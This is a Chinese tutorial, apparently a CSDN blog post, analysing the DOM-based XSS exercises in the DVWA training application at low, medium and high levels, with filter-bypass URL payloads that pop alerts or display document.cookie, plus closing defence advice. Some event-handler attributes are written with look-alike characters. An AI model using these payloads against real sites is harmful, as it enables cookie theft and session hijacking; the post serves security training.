DVWA系列Web常见漏洞XSS(DOM)源码分析及漏洞利用

前言

  本期主要讲解什么是基于DOM的XSS漏洞,XSS(DOM)漏洞攻击实例,基于DOM的XSS漏洞产生的原因以及一般会在何处产生,最后讲解如何利用基于DOM的XSS漏洞(如XSS经典的窃取cookie等)。

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。

基于DOM的XSS

  在讲解什么是基于DOM的XSS漏洞之前,我们先来看看什么是DOM。

什么是DOM

  所谓的DOM又称DOM树,全称为文档对象模型(Document Objeet Mode),是Web前端开发中使用到的一种模型。在前端开发中会使用到很多元素,如< title>、< h1>等,而为了方便使用这些已经定义的元素,将这些元素作为结点排成树状后,通过遍历这棵树,就可以很方便的调用这些元素。而这颗树就称为DOM树。

基于DOM的XSS产生的原因

  当js脚本从url获得数据并将其传递到支持动态代码执行的接收器时,就会产生基于DOM的XSS漏洞。也就是说不规范的使用接收器时就会产生基于DOM的XSS漏洞。因此基于DOM的XSS漏洞一般产生于用户能够进行参数输入查询的地方。以下是一些常见的接收器:

document.write()

document.writeln()

document.domain

someDOMElement.innerHTML

someDOMElement.outerHTML

someDOMElement.insertAdjacentHTML

someDOMElement.onevent

low级别源码分析

源码

可以看到low级别源码没有任何防护

漏洞利用

修改default参数(在导航栏输入),成功弹窗:

1,?default=<script>alert('1')</script>

2,?default=<script>alert(document.cookie)</script>

3,?default=<script>document.body.innerHTML="<div style=visibility:visibiliy;><h1>This is DOM XSS</h1></div>";</script>

4,?default=</option></select><img src="1" οnerrοr=alert(/XSS/)>

5,?default=>/option></select><img src="https://img.zcool.cn/community/0132485544127d0000019ae9a26624.jpg@1280w_1l_2o_100sh.jpg" width="200" height="200" οnerrοr=alert(/XSS/)>

medium级别源码分析

源码

源码中有array_key_exists()函数,检查Get传的数组中是否存在指定的键名default,如果键名存在则返回 true,如果键名不存在则返回 false。

stripos()函数,查找字符串在另一字符串中第一次出现的位置(不区分大小写),即在参数default中查找<script,如果有找到该字符串,则返回 ?default=English。

漏洞利用

过滤script,可以使用img标签、svg标签,先用

1,?default=<img src=1 οnerrοr=alert(/XSS/)>

没有弹出任何窗口 ,用f12查看代码

可以看到将xss语句插入value值中

修改default参数:

2,?default=</option></select><img src="1" οnerrοr=alert(/xss/)>

获取cookie修改如下:

3,?default=</option></select><img src=1 οnerrοr=alert(document.cookie)>

4,?default=</option></select><body οnlοad=alert(/XSS/)>

5,?default=</option></select><body οnlοad=alert(document.cookie)>

6,?default=</option></select><body οnlοad=alert(/XSS/)>

high级别源码分析

源码

该源码使用了switch()函数,在这里相当于白名单,只允许传 default值为English、French、German、Spanish 其中一个。

漏洞利用

源码中发现#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互

修改default:

?default=English #<script>alert('XSS')</script> 

?default=English#<script>alert(document.cookie)</script>

漏洞防护

DOM XSS型要是由客户端的脚本通过DOM动态地输出数祝到页面,而不是依赖将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于以下几个方面。

(1)避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现。

(2)分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码,输出到<scrip>则进行JS编码。

部分资料来源于书本或网络(如若侵权,请联系笔者删除

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值